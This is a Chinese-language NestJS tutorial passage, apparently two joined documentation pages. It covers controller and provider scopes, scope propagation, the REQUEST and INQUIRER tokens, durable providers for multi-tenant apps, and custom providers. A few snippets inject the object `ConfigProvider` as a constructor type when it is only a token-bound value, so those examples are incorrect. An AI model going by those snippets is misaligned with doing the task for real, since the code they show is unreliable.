* WebSocket Gateway 是以单例的形式存在的，它保存了每个连接的 socket 实例；
* 请求作用域服务是**每次请求重建的**，这和长连接逻辑冲突；
* 因此，如果你试图在 WebSocket 中注入请求级服务，Nest 会报错或表现异常。

**同样的限制**也适用于其他一些特殊场景中的提供者，比如：

| 特殊组件                 | 原因说明                               |
| ------------------------ | -------------------------------------- |
| WebSocket 网关           | 长连接，要求单例                       |
| Passport 策略（Auth）    | 注册为全局守卫，需要稳定引用           |
| `@Cron()` 定时任务控制器 | 由调度器周期性调用，不走 HTTP 请求流程 |

## 控制器作用域{#controller-scope}

在 NestJS 中，不只是服务（Provider）可以设置作用域，**控制器（Controller）同样可以设置作用域**。作用域决定了控制器的**生命周期管理方式**，即 Nest 如何实例化和销毁它。

**默认行为**

* 默认情况下，控制器是 **单例（`Scope.DEFAULT`）**，在应用启动时创建一次，**所有请求共用一个实例**。
* 这种模式适用于大部分无状态控制器，例如标准 REST API 控制器。

**请求级作用域控制器（`Scope.REQUEST`）**

如果你需要让控制器的实例在每个请求之间隔离（每次请求一个新实例），你可以为控制器设置请求作用域：

```ts
import { Controller, Scope } from '@nestjs/common';

@Controller({
  path: 'cats',
  scope: Scope.REQUEST,
})
export class CatsController {}
```

* 在这种模式下，Nest 会为每个入站请求创建新的 `CatsController` 实例；
* 请求处理完成后，实例会被自动销毁（垃圾回收）；
* 所有控制器内的方法（例如 `@Get()`、`@Post()`）都会绑定到这个隔离的请求上下文。

**注意事项**

1. **控制器作用域影响整个控制器实例**，但不会影响注入的服务，服务的作用域仍由其自身定义的 `@Injectable()` 决定；
2. **不要在请求级控制器中注入单例服务并尝试改变其状态**，否则可能发生跨请求状态污染；
3. 控制器设置为 `Scope.REQUEST` 后，其构造函数中注入的所有请求级服务将自动获得相同请求上下文；
4. 请求级控制器的性能比单例控制器稍差，因为实例需要频繁创建与销毁，建议**按需使用**。

**可能的场景**

| 场景                         | 原因说明                                          |
| ---------------------------- | ------------------------------------------------- |
| 多租户逻辑                   | 需要根据当前请求上下文（如 tenantId）隔离服务实例 |
| 请求上下文追踪（如 traceId） | 在控制器内持有每个请求独立的数据                  |
| 请求级依赖注入               | 控制器依赖某个请求级服务，必须在相同作用域内工作  |

## 作用域层次结构{#scope-hierarchy}

NestJS 的作用域（`Scope`）系统，不仅控制**服务/控制器的生命周期**，还在**依赖注入链中**具有传播特性，尤其是 `REQUEST` 和 `TRANSIENT` 作用域。

REQUEST 作用域：**“向上冒泡”传播**

如果你在一个注入链中，将某个服务设置为 `Scope.REQUEST`，那么它的**所有依赖者也会自动成为请求级作用域**，以保证作用域一致性。

例子：

```ts
CatsController  <--  CatsService  <--  CatsRepository
```

* `CatsService`: 设置为 `@Injectable({ scope: Scope.REQUEST })`
* `CatsController`: 即使你没有设置作用域，也会**自动变成请求级**，因为它依赖了一个请求级服务
* `CatsRepository`: 如果是默认作用域（单例），则仍然保持单例，因为它不依赖请求级服务

```ts
@Injectable({ scope: Scope.REQUEST })
export class CatsService {
  constructor(private readonly repo: CatsRepository) {}
}

@Controller('cats') // 自动变为 REQUEST 作用域
export class CatsController {
  constructor(private readonly catsService: CatsService) {}
}
```

NestJS 会自动追踪注入链，**只要某个环节是请求级，往上全部变成请求级，往下不变**。

**注意**：这种“冒泡”行为只适用于 `Scope.REQUEST`，**不是所有作用域都会向上传播！**

TRANSIENT 作用域：**不会向上传播**

瞬态作用域（`Scope.TRANSIENT`）的行为不同 — 它**不会影响其注入者**的作用域：

示例结构：

```ts
DogsService <-- LoggerService
```

* `LoggerService`: 被设置为瞬态作用域（`Scope.TRANSIENT`）
* `DogsService`: 是默认单例（没有设置作用域）
* Nest 的行为：每次注入 `LoggerService` 都会新建一个实例，但 `DogsService` 自己仍然是单例！

```ts
@Injectable({ scope: Scope.TRANSIENT })
export class LoggerService {}

@Injectable()
export class DogsService {
  constructor(private readonly logger: LoggerService) {}
}
```

`DogsService` 保持单例，而 `LoggerService` 每次注入时都新建。

如果你希望**DogsService 每次注入时也新建一个实例**（即自身也是瞬态），你必须：

```ts
@Injectable({ scope: Scope.TRANSIENT })
export class DogsService {
  constructor(private readonly logger: LoggerService) {}
}
```

Nest 不会“反向传播”瞬态行为，必须**显式声明每一层**。

**建议**

* **Nest 会自动帮你处理作用域链的生命周期一致性**，所以多数时候不需要你手动处理控制器作用域。
* **只有在瞬态服务链中**，你需要手动为每个类设置 `Scope.TRANSIENT`。
* 如果你不确定某个服务实例是如何注入的，可以用日志输出 `console.log(this)` 查看作用域行为。

**注意**：一个控制器（Controller）要么是单例，要么是请求级，不能“某些路由方法单例、某些路由方法请求级”混用。

如果我确实需要某些路由使用请求级服务，某些使用单例怎么办？

推荐做法：**将路由拆分到不同控制器中**

```ts
// CatsController (单例)          <-- 只使用单例服务
// CatsRequestScopedController    <-- 使用请求级服务

// 单例控制器
@Controller('cats')
export class CatsController {
  constructor(private readonly catService: CatService) {}

  @Get()
  getAllCats() {
    return this.catService.findAll(); // 单例逻辑
  }
}

// 请求级控制器
@Controller({ path: 'cats/request', scope: Scope.REQUEST })
export class CatsRequestScopedController {
  constructor(private readonly ctx: UserContextService) {}

  @Get('me')
  getCurrentUserCats() {
    return this.ctx.getUserId(); // 请求独立逻辑
  }
}
```

然后在 `AppModule` 注册两个控制器即可：

```ts
@Module({
  controllers: [CatsController, CatsRequestScopedController],
})
export class AppModule {}
```

为什么不能在一个控制器里混用？

NestJS 的依赖注入模型中：

* 控制器的作用域由其依赖的服务决定
* 如果某个方法依赖请求级服务，而其他方法不依赖，Nest **无法区分方法粒度的作用域**，只能以整个类为单位

所以：**只要一个构造函数参数是请求级服务，整个控制器就变成请求级**。

坑：如果你这样写：

```ts
@Controller('cats')
export class CatsController {
  constructor(
    private readonly singletonService: ConfigService,
    private readonly requestService: UserContextService, // 请求级！
  ) {}

  @Get()
  find() {
    return this.singletonService.get('x'); // 看似只用了单例
  }
}
```

即使 `find()` 方法没有用 `requestService`，**控制器还是请求级**！因为 Nest 无法做到“按方法注入。

## 请求提供器{#request-provider}

在基于 HTTP 的应用中（例如使用 `@nestjs/platform-express` 或 `@nestjs/platform-fastify`），你可能希望在使用 **请求作用域 Scope.REQUEST** 的服务时访问原始请求对象（如 headers、IP、user 等信息）。Nest 提供了一种方式：通过注入 `REQUEST` 对象来实现。

```ts
import { Injectable, Scope, Inject } from '@nestjs/common';
import { REQUEST } from '@nestjs/core';
import { Request } from 'express';

@Injectable({ scope: Scope.REQUEST }) // 请求级作用域
export class CatsService {
  constructor(@Inject(REQUEST) private request: Request) {}
  // ...
}
```

`REQUEST` 是 Nest 提供的特殊 token，代表当前请求上下文中的原始 `Express.Request` 对象。

注入它，可以让你读取当前请求的各种数据（headers、params、cookies、user 等）。

这个方式在你**不需要额外封装服务，只想直接读取原始请求信息**时非常有用。

**不需要自己设置作用域为 REQUEST**，因为只要依赖了 `REQUEST`，Nest 会自动将当前服务标记为请求作用域。

**注意**：

`REQUEST` 本质上就是一个请求作用域的提供器，因此不需要手动指定作用域，因为有冒泡机制。

如果你的服务依赖于 `REQUEST`，Nest 会**自动把这个服务也标记为请求作用域**，这个行为是自动且不可更改的。

但请注意：**你不能通过 `REQUEST` 访问其他请求级服务（如 `UserContextService`）的实例**，它只能提供 Express/Fastify 请求对象。

**GraphQL 特例补充**

由于底层平台的差异，在 GraphQL 应用中，**不能使用 `REQUEST`**，而是使用 `CONTEXT`：

```ts
import { CONTEXT } from '@nestjs/graphql';

@Injectable({ scope: Scope.REQUEST })
export class CatsService {
  constructor(@Inject(CONTEXT) private context) {}
}
```

你需要在 `GraphQLModule` 中配置 `context` 对象，把 request 信息加进去：

```ts
GraphQLModule.forRoot({
  context: ({ req }) => ({ request: req }),
});
```

**总结**:

**请求提供器** 让你在请求作用域的服务中，访问 Express/Fastify 的原始 Request 对象，这是在需要读取用户身份、header、IP 等原始信息时非常常见的做法。比起专门封装一个请求上下文服务，它更轻量直接。

## 查询器提供器{#inquirer-provider}

NestJS 提供了一个特殊的注入令牌 `INQUIRER`，它代表了“当前构建（请求）这个提供器的**父类实例**”。
换句话说，如果一个服务（提供器）被其他服务注入，你可以通过 `INQUIRER` 获取到那个调用方服务的实例（或者至少是它的类实例）。

```ts
import { Inject, Injectable, Scope } from '@nestjs/common';
import { INQUIRER } from '@nestjs/core';

@Injectable({ scope: Scope.TRANSIENT }) // 这里用了瞬态作用域，方便每次注入都是新实例
export class HelloService {
  constructor(@Inject(INQUIRER) private parentClass: object) {}

  sayHello(message: string) {
    console.log(`${this.parentClass?.constructor?.name}: ${message}`);
  }
}
```

`HelloService` 注入了 `INQUIRER`，这个 `parentClass` 就是“谁在使用（构建）这个 HelloService”。

在 `sayHello` 里，它打印出调用者的类名和传入的信息。

```ts
import { Injectable } from '@nestjs/common';
import { HelloService } from './hello.service';

@Injectable()
export class AppService {
  constructor(private helloService: HelloService) {}

  getRoot(): string {
    this.helloService.sayHello('My name is getRoot');

    return 'Hello world!';
  }
}
```

`AppService` 注入并调用了 `HelloService` 的方法。

当调用 `AppService#getRoot()` 时，控制台会输出：

```bash
AppService: My name is getRoot
```

**使用场景**：

* **了解调用链或上下文**：有些情况下，一个服务想知道“是谁调用了我”，可以利用 `INQUIRER` 注入的父实例，获取调用者的类型或信息。
* **日志记录**：自动打印调用者的类名，方便调试和追踪日志来源。
* **指标监控**：可以根据调用者不同，做分类统计，比如哪个模块调用了某个服务。
* **高级框架设计**：实现一些框架特性，动态基于调用方做不同处理。

**注意**：

* `INQUIRER` 一般配合 **瞬态（`TRANSIENT`）作用域**一起用，因为你希望每次注入都能正确区分调用者。
* 如果你的服务是单例，且多个地方共享同一个实例，那么 `INQUIRER` 可能不能准确表示具体调用方。
* 这不是特别常用的功能，属于框架内部或高级用法。

## 性能{#performance}

使用请求作用域的提供者会对应用性能产生影响。虽然 Nest 尝试尽可能缓存元数据，但它仍需在每个请求中创建该类的新实例。因此，这会降低平均响应时间和整体基准测试结果。除非提供者必须是请求作用域，否则强烈建议使用默认的单例作用域。

**提示**
尽管听起来可能让人担心，但设计合理的请求作用域应用，响应延迟通常不会超过大约 5% 的增幅。

**请求级作用域不会影响单例的性能，但它自己的“额外开销”会在整体响应中体现出来，稍微拉低整体性能。**

## 耐用提供器{#durable-providers}

如上一节所述，请求作用域的提供器可能会导致性能下降。只要你有一个请求作用域的服务（比如它被注入进控制器或其他服务），**Nest 就会为每个请求重新创建整个依赖链的实例**，请求结束后再进行垃圾回收。

举例来说，如果你有 30,000 个并发请求，同时请求了某个控制器，而该控制器中注入了一个请求作用域服务，那么 Nest 会临时创建 30,000 份控制器和它们的服务实例。

**多租户问题场景**

假设你在做一个多租户应用，有 10 个客户，每个客户都有自己的数据库连接（或 schema）。你想保证 A 客户永远不会访问 B 客户的数据。那么一种办法是：

为每个请求声明一个「请求作用域的数据源提供器」，它读取请求头中的 `x-tenant-id`，再选择对应的数据库连接。

这么做确实能保证隔离，但问题是：

* 你的大多数服务都依赖于这个 `DataSourceService`；
* 那么它们都会**变成请求作用域**；
* Nest 就要为每个请求**重新创建整棵 DI 树**，很影响性能。

**更优方式**

如果你知道这些请求其实可以按某些公共属性聚类（比如 `tenantId`），那么你没必要为每个请求都重新创建服务实例。你只需要：

* 为每个租户创建一棵 DI 子树，所有来自同一租户的请求共享它；
* 这样大幅减少实例化和 GC 的负担。

这就是**持久 DI 子树**（**耐用提供器**）的场景。

[DI 子树和DI 树](./nest-practice-tip#di子树和di树)

**步骤**

**① 定义 Context 策略**

你需要自定义一个上下文策略 `ContextIdStrategy` 来**告诉 Nest：怎么判断请求属于哪个租户**。

```ts
import {
  HostComponentInfo,
  ContextId,
  ContextIdFactory,
  ContextIdStrategy,
} from '@nestjs/core';
import { Request } from 'express';

const tenants = new Map<string, ContextId>();

export class AggregateByTenantContextIdStrategy implements ContextIdStrategy {
  attach(contextId: ContextId, request: Request) {
    const tenantId = request.headers['x-tenant-id'] as string;

    let tenantSubTreeId: ContextId;
    if (tenants.has(tenantId)) {
      tenantSubTreeId = tenants.get(tenantId)!;
    } else {
      tenantSubTreeId = ContextIdFactory.create();
      tenants.set(tenantId, tenantSubTreeId);
    }

    // 若提供器被标记为 durable，则返回 tenantId 对应的上下文；否则返回默认 contextId
    return (info: HostComponentInfo) =>
      info.isTreeDurable ? tenantSubTreeId : contextId;
  }
}
```

说明：

* `info.isTreeDurable` 是 Nest 用来判断某个服务是否被标记为 durable（耐用）的；
* 如果是，就用 `tenantSubTreeId`，这样就不会重复创建；
* 如果不是，就走默认逻辑（每次都新建）。

**② 可选：注入 payload（例如 tenantId）**

你也可以让 `REQUEST` 注入的不再是 Express 的 req 对象，而是你自定义的 payload，例如：

```ts
return {
  resolve: (info) =>
    info.isTreeDurable ? tenantSubTreeId : contextId,
  payload: { tenantId },
};
```

这将允许你在服务中：

```ts
constructor(@Inject(REQUEST) private readonly req: { tenantId: string }) {}
```

**③ 全局注册你的策略**

你需要在应用启动时注册这个策略（比如在 `main.ts`）：

```ts
import { ContextIdFactory } from '@nestjs/core';
ContextIdFactory.apply(new AggregateByTenantContextIdStrategy());
```

**④ 标记服务为 durable: true**

你需要手动标记哪些服务可以使用租户 DI 子树：

```ts
@Injectable({ scope: Scope.REQUEST, durable: true })
export class CatsService {}
```

或者在自定义提供器中：

```ts
{
  provide: 'foobar',
  useFactory: () => new Foobar(),
  scope: Scope.REQUEST,
  durable: true,
}
```

| 概念             | 含义说明                                           |
| ---------------- | -------------------------------------------------- |
| Durable Provider | 请求作用域服务 + 可复用实例                        |
| 使用场景         | 多租户、每类请求可归类，避免每次都新建整个服务树   |
| 关键点           | 按 `tenantId` 聚合请求上下文，只为不同租户建立一次 |
| 优势             | 显著减少内存创建/GC，避免性能被请求作用域拖垮      |
| 警告             | 不适合有大量租户的 SaaS 应用，Map 缓存可能爆炸     |

**耐用提供器** 是一种**请求级服务的优化手段**，但是现实情况是：**非常少用**，甚至大多数项目一辈子都不会用到：

| 特性                       | 是否常见                                   |
| -------------------------- | ------------------------------------------ |
| `Scope.DEFAULT`（单例）    | ✅ 90% 项目都靠它撑起                       |
| `Scope.REQUEST`（请求级）  | 🔶 少数涉及 traceId、多租户、GraphQL 等才用 |
| `durable: true` + 聚合策略 | ❌ 极少数“高并发多租户项目”才需要           |

**durable 的设计动机总结**：

请求级服务如果依赖多、被很多地方注入，会拉着整个服务树每个请求都新建，成本高。
durable 的设计目的是：**当我们能“分组请求”时（比如按租户 ID 聚合），就不用每个请求都新建一套服务链了。**

这东西你理解一下原理就够了，**真的到了需要用 durable 的时候，你一定已经做了中大型项目**，并且业务架构足够复杂。

---

---
url: /nest/ymoz5227/index.md
---
# 提供器
## 提供器{#providers}

在 NestJS 中，**提供者** 是一个可以被注入到其他类中的对象，通常用于封装业务逻辑或复用性强的功能。

Nest 中大多数常见的类都可以被视为提供者，例如：

* 服务（Services）
* 仓储类（Repositories）
* 工厂函数（Factories）
* 工具类 / 辅助函数（Helpers）

核心理念：**依赖注入（Dependency Injection）**

Nest 的运行时会自动处理类之间的依赖关系。你只需声明依赖项（如服务），框架就会：

1. 创建实例
2. 管理生命周期
3. 注入到需要的地方

这使得代码**高内聚、低耦合**，同时便于测试和扩展。

> \[!note]
> 示例：将服务作为提供者注入控制器：
>
> 创建 `CatsService`
>
> ```ts
> // cats.service.ts
> import { Injectable } from '@nestjs/common';
>
> @Injectable() // 标记该类为可注入的提供者
> export class CatsService {
>       private readonly cats = [];
>
>       create(cat) {
>            this.cats.push(cat);
>       }
>
>       findAll() {
>            return this.cats;
>       }
> }
> ```
>
> **说明**：
>
> * `@Injectable()` 装饰器表示该类可被注入。
> * 该服务维护一个私有数组，用于模拟存储猫的数据。
>
> 控制器中使用 `CatsService`
>
> ```ts
> // cats.controller.ts
> import { Controller, Get, Post, Body } from '@nestjs/common';
> import { CatsService } from './cats.service';
>
> @Controller('cats')
> export class CatsController {
>   constructor(private readonly catsService: CatsService) {} // 注入服务
>
>   @Post()
>   create(@Body() cat: any) {
>     this.catsService.create(cat);
>     return 'Cat created successfully';
>   }
>
>   @Get()
>   findAll() {
>     return this.catsService.findAll();
>   }
> }
> ```
>
> **说明**：
>
> * `CatsController` 的构造函数中声明了对 `CatsService` 的依赖，Nest 会自动注入其实例。
> * 控制器**只负责请求路由处理**，具体逻辑委托给服务，符合 **单一职责原则（SRP）**。
>
> 在模块中注册服务
>
> ```ts
> // app.module.ts 或 cats.module.ts
> import { Module } from '@nestjs/common';
> import { CatsController } from './cats.controller';
> import { CatsService } from './cats.service';
>
> @Module({
>   controllers: [CatsController],
>   providers: [CatsService], // 注册服务为提供者
> })
> export class AppModule {}
> ```
>
> 提示：建议遵循 SOLID 原则
>
> Nest 的模块和提供者系统天然支持面向对象设计中的 SOLID 原则，尤其是：
>
> * **S**（Single Responsibility）：控制器仅处理 HTTP，服务处理逻辑
> * **D**（Dependency Inversion）：依赖抽象（如接口）而非具体实现

| 项目            | 作用说明                        |
| --------------- | ------------------------------- |
| `@Injectable()` | 标记类为可注入的提供者          |
| `providers`     | 在模块中注册服务等提供者        |
| 构造函数注入    | 自动注入依赖，解耦组件间关系    |
| DI 容器         | Nest 自动管理实例创建与生命周期 |

[SOLID 原则和在NestJS 中的最佳实践](../小记/2.nest-practice-tip.md#SOLID-principles-and-best-practices-in-NestJS)

## 服务{#services}

在 NestJS 中，**服务类（Service）用于封装和组织业务逻辑**，并被控制器或其他服务注入使用。
由于服务通常是**单例**，它适合作为跨组件共享的依赖项，是典型的 **提供者（Provider）**。

我们先从创建一个简单的 `CatsService` 开始。该服务用于处理猫相关的数据存储和检索操作，并将被 `CatsController` 所调用，由于它负责管理业务逻辑，是定义为 **提供者（Provider）** 的理想选择。

**`CatsService` 实现**

```ts
// cats.service.ts
import { Injectable } from '@nestjs/common';
import { Cat } from './interfaces/cat.interface';

@Injectable()
export class CatsService {
  private readonly cats: Cat[] = []; // 本地内存数组，用作数据存储模拟

  create(cat: Cat) {
    this.cats.push(cat); // 将猫对象添加到数组中
  }

  findAll(): Cat[] {
    return this.cats; // 返回所有已添加的猫
  }
}
```

关键点说明

* `@Injectable()`：这是一个装饰器，Nest 用它将类标记为可注入的 **提供者**。
  它告诉 Nest IoC（控制反转）容器可以管理此类的生命周期和依赖关系。
* `cats: Cat[]` 是本地内存中的数组，用于存储猫的数据。在实际项目中，这通常会替换为数据库访问逻辑。

**快捷提示**

使用 Nest CLI 创建服务只需执行以下命令：

```bash
nest g service cats
```

**Cat 接口定义**

服务中使用的 `Cat` 接口用于定义猫对象的数据结构：

```ts
// interfaces/cat.interface.ts
export interface Cat {
  name: string;
  age: number;
  breed: string;
}
```

在实际应用中，推荐使用 **DTO + 验证** 来限制请求体，而接口可用于定义返回类型。

**在控制器中使用服务**

我们现在将 `CatsService` 注入到控制器中，处理客户端请求时调用服务逻辑。

```ts
// cats.controller.ts
import { Controller, Get, Post, Body } from '@nestjs/common';
import { CreateCatDto } from './dto/create-cat.dto';
import { CatsService } from './cats.service';
import { Cat } from './interfaces/cat.interface';

@Controller('cats')
export class CatsController {
  constructor(private catsService: CatsService) {} // 依赖注入

  @Post()
  async create(@Body() createCatDto: CreateCatDto) {
    this.catsService.create(createCatDto); // 使用服务处理新增逻辑
  }

  @Get()
  async findAll(): Promise<Cat[]> {
    return this.catsService.findAll(); // 使用服务返回所有猫数据
  }
}

// dto/create-cat.dto.ts
import { IsString, IsInt } from 'class-validator';

export class CreateCatDto {
  @IsString()
  name: string;

  @IsInt()
  age: number;

  @IsString()
  breed: string;
}
```

`private catsService: CatsService`：这是 **TypeScript 的简写写法**，它不仅声明了 `catsService` 属性，还自动将其赋值为构造函数参数中传入的实例（依赖注入）。

控制器通过调用服务的方法，完成业务逻辑的分发，遵循**单一职责原则（SRP）**。

`@Body()` 自动将请求体中的 JSON 数据映射为 `CreateCatDto` 实例，需搭配全局 `ValidationPipe` 实现验证。

## 依赖注入{#dependency-injection}

Nest 是围绕一种强大的设计模式构建的 — **依赖注入（DI）**。
这一模式是 Angular 等大型框架的核心组成部分，也极大增强了模块化、可测试性和可维护性。

> \[!tip]
> 建议深入阅读 [Angular 官方文档](https://angular.io/guide/dependency-injection)：依赖注入 以了解其设计理念与历史渊源。

在 Nest 中，得益于 TypeScript 的功能，管理依赖非常简单，因为它们是根据其**类型解析**的。在下面的例子中，Nest 将通过创建并返回 `CatsService` 的实例来解析 `catsService`（或者，在单例的情况下，如果已在其他地方请求，则返回现有实例）。然后将此依赖注入到控制器的构造函数中（或分配给指定的属性）：

**Nest 中的依赖注入实现机制**

借助 TypeScript 的类型系统，**Nest 能够自动根据类型推断并注入所需的依赖**，无需手动注册或配置。

**示例：控制器中注入服务**

```ts
import { Controller, Get } from '@nestjs/common';
import { CatsService } from './cats.service';

@Controller('cats')
export class CatsController {
  // 依赖通过构造函数注入
  constructor(private catsService: CatsService) {}

  @Get()
  findAll() {
    return this.catsService.findAll();
  }
}
```

**注释说明：**

| 代码                                            | 含义                                                                                            |
| ----------------------------------------------- | ----------------------------------------------------------------------------------------------- |
| `constructor(private catsService: CatsService)` | TypeScript 的简写写法，声明并自动赋值 `catsService` 属性                                        |
| `CatsService` 的类型信息                        | Nest 的 IoC 容器会读取此类型，并在模块中查找提供者进行注入                                      |
| 单例机制                                        | 如果服务类是 `@Injectable()` 并注册为模块 `providers`，Nest 会创建一个全局共享实例（singleton） |
| 生命周期                                        | 默认情况下，Nest 中服务为单例，生命周期与应用相同（除非明确指定为 `scope: Scope.REQUEST` 等）   |

**注入过程原理（简化理解）**

1. Nest 启动时扫描模块的 `providers`
2. 根据构造函数参数的类型签名（如 `CatsService`），查找对应的提供者
3. 实例化该服务类（或复用已有实例），注入到控制器的构造函数中
4. 构造函数被调用，依赖赋值成功，控制器即可使用该服务方法

[构造函数自动依赖注入的实现](../小记/2.nest-practice-tip.md#constructor-private-catsservice-catsservice-的原理)

**配套注册：服务必须在模块中注册**

```ts
// cats.module.ts
import { Module } from '@nestjs/common';
import { CatsService } from './cats.service';
import { CatsController } from './cats.controller';

@Module({
  controllers: [CatsController],
  providers: [CatsService], // 👈 注册为提供者，才能注入
})
export class CatsModule {}
```

**小结**

| 概念             | 内容                                                                       |
| ---------------- | -------------------------------------------------------------------------- |
| 什么是依赖注入？ | 构造函数或属性中注入外部服务或模块，解耦代码结构                           |
| Nest 如何实现？  | 利用 TypeScript 类型系统 + 装饰器，自动构建依赖图并注入                    |
| 有哪些优点？     | 结构清晰、低耦合、高可测性，支持服务单例/请求级/自定义生命周期             |
| 注册规则？       | 任何 `@Injectable()` 的类都需通过模块中的 `providers` 数组注册，才可被注入 |

## 作用域{#scopes}

在 Nest 中，**提供者（Provider）默认具有应用级生命周期**，也就是说：

✅ **当应用启动时，Nest 会创建每个提供者的实例**，并在整个应用生命周期内复用这个实例（即默认是单例）。

同样地：

❌ **当应用关闭时，Nest 会销毁这些提供者实例**，执行清理逻辑（如果实现了 `onModuleDestroy()` 或 `onApplicationShutdown()` 等生命周期钩子）。

默认行为：**全局单例作用域（Application Scope）**

```ts
@Injectable()
export class CatsService {
  // 默认是单例，应用启动时创建一次
}
```

* 所有请求、控制器、模块共享同一个 `CatsService` 实例
* 适用于无状态或缓存类服务，如日志、数据库连接池、配置服务等

可选行为：**请求作用域（Request Scope）**

你也可以声明某个服务为“**请求作用域**”，即：

> \[!tip]
> 每次有一个新的 HTTP 请求进来，Nest 会为这个请求**重新实例化一份该服务**

```ts
@Injectable({ scope: Scope.REQUEST })
export class RequestScopedService {
  constructor(@Inject(REQUEST) private request: Request) {}
}
```

* 每个请求都独立拥有自己的服务实例
* 适用于依赖请求上下文的服务（如每个请求用户 ID、请求头）
* Nest 会自动追踪请求上下文并创建正确实例

**实际应用举例**

| 作用域                | 场景               | 示例                       |
| --------------------- | ------------------ | -------------------------- |
| `Application`（默认） | 共享逻辑           | 缓存、配置、日志、DB连接等 |
| `Request`             | 与请求状态强相关   | 当前登录用户服务、权限服务 |
| `Transient`（瞬态）   | 每次注入都新建实例 | 高隔离但代价高，较少使用   |

> \[!tip]
> **TRANSIENT**（瞬态）  : **没有明确销毁时机**，通常随引用释放（即垃圾回收GC）
>
> 比喻：一次性笔：你用的时候就造一个，什么时候扔你自己决定

**总结**

提供者默认是 **单例**，但可以通过设置作用域变更为 **请求级** 或 **瞬态级别**，用于满足不同的生命周期需求。

在多用户请求背景下，请求作用域非常实用，但需注意：**性能成本更高**，不要滥用。

[深入掌握 Scope 的完整机制](../基础知识/nest-singletons-isolation)

## 自定义提供器{#custom-providers}

Nest 内部内置了一个 **控制反转容器（IoC，Inversion of Control）**，用于管理应用中各种服务（Provider）之间的关系。

这构成了 Nest **依赖注入机制的基础**，但这个机制实际上要比我们之前介绍的更强大得多。你可以通过多种方式定义一个 Provider，比如：

* 提供一个普通的常量值（`useValue`）
* 提供一个类（`useClass`）
* 使用一个同步或异步工厂函数（`useFactory` + `inject`）

**可以用非常灵活的方式注册服务**

`useClass` 示例（默认最常用）

```ts
// 提供者
@Injectable()
class MyService {
  getData() {
    return 'hello from MyService';
  }
}

export const MyServiceProvider = {
  provide: 'MyServiceAlias',
  useClass: MyService,
};
```

注册方式（例如在模块中）：

```ts
@Module({
  providers: [MyServiceProvider],
  exports: [MyServiceProvider],
})
export class AppModule {}
```

使用方式

```ts
@Injectable()
export class ConsumerService {
  constructor(@Inject('MyServiceAlias') private readonly myService: MyService) {}

  log() {
    console.log(this.myService.getData());
  }
}
```

`useValue` 示例（常量）

提供者

```ts
const AppConfig = {
  appName: 'Nest Demo',
  version: '1.0.0',
};

export const ConfigProvider = {
  provide: 'APP_CONFIG',
  useValue: AppConfig,
};
```

注册方式

```ts
@Module({
  providers: [ConfigProvider],
  exports: [ConfigProvider],
})
export class AppModule {}
```

使用方式

```ts
@Injectable()
export class ConfigService {
  constructor(@Inject('APP_CONFIG') private config: { appName: string }) {}

  print() {
    console.log(`App: ${this.config.appName}`);
  }
}
```

`useFactory` 示例（工厂函数 + 注入依赖）

提供者

```ts
const LoggerProvider = {
  provide: 'LOGGER',
  useFactory: (config: { logLevel: string }) => {
    return {
      log: (msg: string) => {
        if (config.logLevel === 'debug') {
          console.log(`[DEBUG] ${msg}`);
        }
      },
    };
  },
  inject: ['APP_CONFIG'], // 注入上面定义的 config
};
```

```ts
const AppConfig = {
  appName: 'Nest Demo',
  version: '1.0.0',
  logLevel: 'debug',
};

export const ConfigProvider = {
  provide: 'APP_CONFIG',
  useValue: AppConfig,
};
```

注册方式（接续 `APP_CONFIG`）

```ts
@Module({
  providers: [
    ConfigProvider, // 来自 useValue 示例
    LoggerProvider,
  ],
  exports: ['LOGGER'],
})
export class AppModule {}
```

使用方式

```ts
@Injectable()
export class LogService {
  constructor(@Inject('LOGGER') private logger: { log: (msg: string) => void }) {}

  doSomething() {
    this.logger.log('This is a log message');
  }
}
```

`useExisting` 示例（使用别名）

提供者

假设我们已经有一个现成的服务：

```ts
@Injectable()
export class RealLoggerService {
  log(msg: string) {
    console.log(`[REAL] ${msg}`);
  }
}
```

我们想给它起个别名 `ILogger`：

```ts
const LoggerAliasProvider = {
  provide: 'ILogger',
  useExisting: RealLoggerService,
};
```

注册方式

```ts
@Module({
  providers: [
    RealLoggerService,
    LoggerAliasProvider,
  ],
})
export class AppModule {}
```

使用方式

```ts
@Injectable()
export class SomeService {
  constructor(@Inject('ILogger') private readonly logger: RealLoggerService) {}

  run() {
    this.logger.log('Alias works!');
  }
}
```

* `providers: [...]` 是 **在当前模块中注册这个服务**
* `exports: [...]` 是 **把这个服务“导出”给其他模块使用**

如果不写`exports`，**这个 Provider 只能在 AppModule 这个模块的内部使用**，如果你希望 **其他模块也能使用这个服务**（通过 `imports: [AppModule]` 引入），你必须把它导出。

```ts
@Module({
  providers: [ConfigProvider],
  exports: [ConfigProvider], // 👈 这样别的模块才看得见
})
```

```ts
@Module({
  imports: [AppModule],
})
export class OtherModule {
  constructor(@Inject('APP_CONFIG') private config: any) {} // 只有 export 后这里才能拿到
}
```

✅ **在控制器中使用某个 provider，不需要 `exports`**；
❌ **只有当其他模块 module 也要用这个 provider 时，才需要 `exports`。**

只要这个 **controller 和 provider 在同一个模块中声明**，你就可以直接注入使用，无需 export。

```ts
@Module({
  controllers: [AppController],
  providers: [ConfigProvider],
  // ❌ 不需要 exports
})
export class AppModule {}
```

```ts
@Controller()
export class AppController {
  constructor(private readonly config: ConfigProvider) {} // ✅ 可以正常注入
}
```

其他模块想用这个 provider：

比如你在 `AppModule` 中注册了 `ConfigProvider`，但你想在 `UserModule` 中也使用它，就需要：

```ts
@Module({
  providers: [ConfigProvider],
  exports: [ConfigProvider], // 👈 关键是这里
})
export class AppModule {}
```

然后在别的模块里导入：

```ts
@Module({
  imports: [AppModule],
})
export class UserModule {
  constructor(private readonly config: ConfigProvider) {} // ✅ 可以用了
}
```

所以：`providers + exports` 一起写，只是为了让它 **既能在当前模块内用，也能被其他模块用**。如果你不打算跨模块复用，就写 `providers` 就够了。

[服务类的两种注册方式](../小记/2.nest-practice-tip.md#服务类注册的两种方式)

**总结**

| 提供方式      | 说明                           | 典型场景                              |
| ------------- | ------------------------------ | ------------------------------------- |
| `useClass`    | 使用某个类作为 Provider        | 默认方式，配合 `@Injectable`和`@Inject` 使用     |
| `useValue`    | 提供常量（对象/字符串/布尔值） | 全局配置、枚举、常量数据              |
| `useFactory`  | 运行时动态创建 Provider 实例   | 依赖注入其他服务、异步初始化          |
| `useExisting` | 指向另一个已注册的 Provider    | 别名场景：多个 token 使用同一服务实例 |

## 可选提供器{#optional-providers}

有时候，你的类依赖的某个提供器（比如配置对象）**不是必需的**，换句话说，即使没有提供这个依赖，也希望程序能继续正常运行。这时我们称这个依赖是“可选的”。

